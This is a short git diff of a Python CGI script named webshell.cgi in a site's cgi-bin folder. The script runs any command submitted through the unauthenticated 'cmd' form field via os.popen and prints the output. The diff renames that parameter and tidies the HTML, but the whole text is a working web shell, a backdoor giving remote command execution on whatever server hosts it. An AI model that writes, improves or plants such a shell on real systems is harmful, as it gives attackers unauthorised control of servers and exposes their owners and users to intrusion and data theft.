1 files changed, 9 insertions, 5 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index e615124..cebfb10 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -5,15 +5,18 @@
 import cgi
 import os
 
+cmd = ""
 form = cgi.FieldStorage()
-if form.getvalue('command'):
-    cmd = form.getvalue('command')
+if form.getvalue('cmd'):
+    cmd = form.getvalue('cmd')
 
-print("Content-Type: text/html; charset=UTF-8\n\n")
+print("Content-Type: text/html\n\n")
 print ("""
+<!DOCTYPE html>
 <html>
 <head>
 <title>Web shell</title>
+<meta charset="utf-8">
 </head>
 <body>
 <h1>Web shell</h1>
@@ -25,11 +28,12 @@ print("</p>")
 
 print("""
 <form action=''>
-<input type='text' name='command'>
+<input type='text' name='cmd' autofocus>
 </form>
 """)
 
-if cmd : print("<pre>",os.popen(cmd).read(),"</pre>")
+if cmd : print(f"<pre>{os.popen(cmd).read()}</pre>")
+
 print("""
 </body>
 </html>